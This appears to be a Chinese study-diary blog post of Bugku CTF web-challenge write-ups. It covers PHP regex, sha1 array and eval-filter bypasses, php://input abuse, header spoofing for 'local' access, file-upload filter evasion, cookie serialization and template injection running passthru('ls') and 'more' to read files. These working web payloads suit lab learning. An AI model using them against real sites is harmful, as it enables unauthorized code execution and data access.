2021-11-10 学习日记

1.Bugku刷题

字符?正则?

wp
审计代码。

highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
//preg_match() 执行匹配正则表达式
//trim() 函数移除字符串两侧的空白字符或其他预定义字符
//
if( $IM ){ 
  die('key is: '.$key);
}

①/key.key.{4,7}key:/./(.key)[a-z][[:punct:]]/i
/xxx/i 是PHP或Perl一类的语言中的正则表达式,其中xxx表示真正的正则表达式本身,而后面的i表示ignoreCase,即忽略大小写的意思。
②key.key.{4,7}key:/./(.key)[a-z][[:punct:]]

图来自wp

构造payload

?id=keyaakeyaaaakey:/a/akeya:

程序员本地网站

要求本地访问,那就改Referer头或X-Forwarded-For头即可。

MD5

1-2

试了一下,a是get参数。既然题目是md5碰撞,那就直接输入一个碰撞值即可。


1-3

各种绕过哟

1-4

绕就完事了,sha1函数不能处理数组。

?id=margin&uname[]=1
passwd[]=2

file_get_contents

看到file_get_contents函数马上联想到php://input伪函数。
构造payload

?ac=flag&fn=php://input
flag

需要管理员

御剑扫一下,扫出robots.txt,访问一下。


1-5

访问/resusl.php。


1-6

要提交get参数。弱口令爆破一下。
?x=admin

文件上传

文件头Content-Type: multipart/form-data中任意将一个字母改大写,文件后缀名改为php4,类型改为对应的image/jpeg。

文件包含2

直接把get参数改为/flag即可。
这道题到底有啥意思是呢?

点login咋没反应

提示在源码中。


1-7

访问,得到源码。


1-8

反序列化注入,写py脚本获得序列化payload。
<?php
$KEY='ctf.bugku.com'; 
echo serialize($KEY)
?>
//s:13:"ctf.bugku.com";

加进cookie里。


1-9

聪明的php

随便传一个参数先。


1-10

看提示,是模板漏洞。尝试一下{7*7},发现可以运算。


1-11

代码中过滤了很多函数,只能是找没被过滤的来注入。例如passthru。
构造payload
?file={passthru("ls")}
1-12

1-
可以正常执行,但是根目录下无flag文件,但有一个 _20477文件,打开看看。
此处要注意cat命令被过滤掉了,所以要用其他具有输出功能的命令。

?file={passthru("more /_20477")}
//Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读。

闪电十六鞭

知识点:可变变量,短标签。
wp
这道题的考查点就是对php代码的审计能力。

    error_reporting(0);
//关闭报错
    require __DIR__.'/flag.php';
    $exam = 'return\''.sha1(time()).'\';';
    if (!isset($_GET['flag'])) {
//flag参数是否设置
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
//flag的长度应与$exam相等,为49 
//$exam="return'sha1(time())';",其中,sha1(time())为哈希加密,结果长度为40,所以 strlen($exam))=49
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
//不能出现以上关键词
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

构造payload

?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111
//flag被过滤了,所以要拆开来传入。
//并非是要通过if判断,而是利用eval函数来直接输出变量$flag。
//<? ?>和<?= ?>是短标签而<?php ?>是长标签,其中<?= 是代替 <? echo的,<? ?>代替的是<?php ?>。
//eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
//$$a为可变变量,即$$a=$flag。
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容